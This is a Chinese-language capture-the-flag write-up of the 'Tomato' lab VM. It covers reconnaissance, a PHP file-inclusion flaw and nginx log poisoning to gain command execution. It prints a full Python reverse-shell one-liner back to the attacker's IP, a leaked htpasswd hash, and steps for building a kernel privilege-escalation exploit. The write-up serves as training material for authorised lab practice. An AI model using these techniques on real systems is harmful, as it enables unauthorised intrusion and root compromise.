21、Tomato
难度 低(个人认为中)
目标 root权限 + 一个flag
使用VMware启动
kali 192.168.152.56 靶机 192.168.152.66
信息收集
端口信息收集
可以看到有个ftp服务,2211实际是ssh协议端口,80、8888是一个web服务
web测试
80端口显示一个tomato
查看源码给了一些提示
先上dirseardh扫一遍
然后用gobuster的中等字典扫了一下也没有结果
8888端口需要密码登录
可能和前面给的一些提示有关
然后使用cewl命令爬取一下这个页面搞了个字典用hydra爆破了一下这个8888端口的服务发现也没有结果,然后又爆破了一下ftp和ssh服务也没有结果
可能是字典不行,换字典继续跑,把kali的自带的seclectlist下面目录字典使用gobuster跑完了都没跑出来任何东西
看wp用dirb的可以跑出一个目录出来
以后打靶场没思路的时候把所有扫描工具全部上一遍。。。
用的这个的字典/usr/share/dirb/wordlists/common.txt。。。
进去可以看到一些源码内容
把能点的全部浏览了除了这三个图片还有两个txt和info.php其他都是空白,没有其他有效的消息了
看着readme这个网站好像是一个wordpress的一个网站机器人插件用来反爬虫的
突破边界
我以为是要根据这个readme中的内容去官网找源码。。。我搞好了半天都没找到突破点
看了wp看info.php的源码。。。
做这种题只想暴打出题人,到底是在打靶场还是打ctf
看到疑似加载本地资源的参数考虑是否存在任意文件读取,php语言考虑文件包含以及搭配利用各种伪协议
通过信息可以看到这个tomato用户存在
然后继续利用这个文件包含,尝试了一些可以命令执行的伪协议没有什么反应,然后看能不能加载远程文件
但是查看信息发现allow_url_include为off,只有下面两个都为on才支持远程文件包含
那么是否可以尝试包含session文件或者日志文件
经过我的尝试确定了日志文件的路径,一些apache和nginx的路径去猜一下
/var/log/nginx/access.log
并且这个日志记录的是8888端口的访问记录,就那个登录的包修改一些UA
可以看到记录也出现了
那么我们写一段php代码进去然后包含这个日志文件看执不执行
可以看到成功的执行了
那么可以直接写反弹shell的命令进行shell的反弹了
但是搞了半天没成功,我不知道是不是里面有什么编码的问题,写多了搞得这个日志都记录不进去了。只能换个日志选择nginx的错误日志,同时在nginx的错误日志中发现了这个8888登录在使用/etc/nginx/.htpasswd文件中的内容进行判断,然后读取这个文件读到了账号密码
ngnix:$apr1$azDw/Iwv$E7rIlqjeiX9Sx9.sMCcAZ0
拿这个密码去CMD5网站解密发现要钱。。算了还是继续文件包含吧
换了个文件成功的包含了
/var/log/nginx/error.log
这个文件会包含所有登录失败的请求路径和host,那么这里修改host
成功的回显了数据
能稳定执行命令后尝试使用各种方式方式反弹shell,最后使用python成功的吧shell反弹了回来
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.152.56",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
拿到shell发现是www的权限
因为是直接使用python的pty反弹的所以已经是比较高级的shell了
提权
然后先上个信息收集的脚本linpeas.sh
一上来就是爆红
小于4.6的内核都可以考虑脏牛提权CVE-2016-5195
尝试脏牛然后发现靶机上面缺少了一些环境。。。这种情况最麻烦了
然后去找其他的利用方式
发现基本上使用c编译成的exp都会受限,应该是在kali上面进行gcc用了靶机没有的东西
strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_
环境上最高才2.23,只能下载一个带有低版本GLIBC的包然后gcc的使用这个包里的来编译,下载2.1x的包就刚好
wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb
然后使用dpkg -x解压
这里不用脏牛了用上面检测出的第二个
把这个c文件cp到当前目录
gcc 45010.c -o exp -Ldir ./libc6_2.19-0ubuntu6_amd64/lib/x86_64-linux-gnu/libc.so.6
然后上传上去赋予权限成功的提权
拿到flag
这种环境的原因真的好麻烦。另外内核漏洞的一些poc可以在这里找
GitHub - SecWiki/linux-kernel-exploits: linux-kernel-exploits Linux平台提权漏洞集合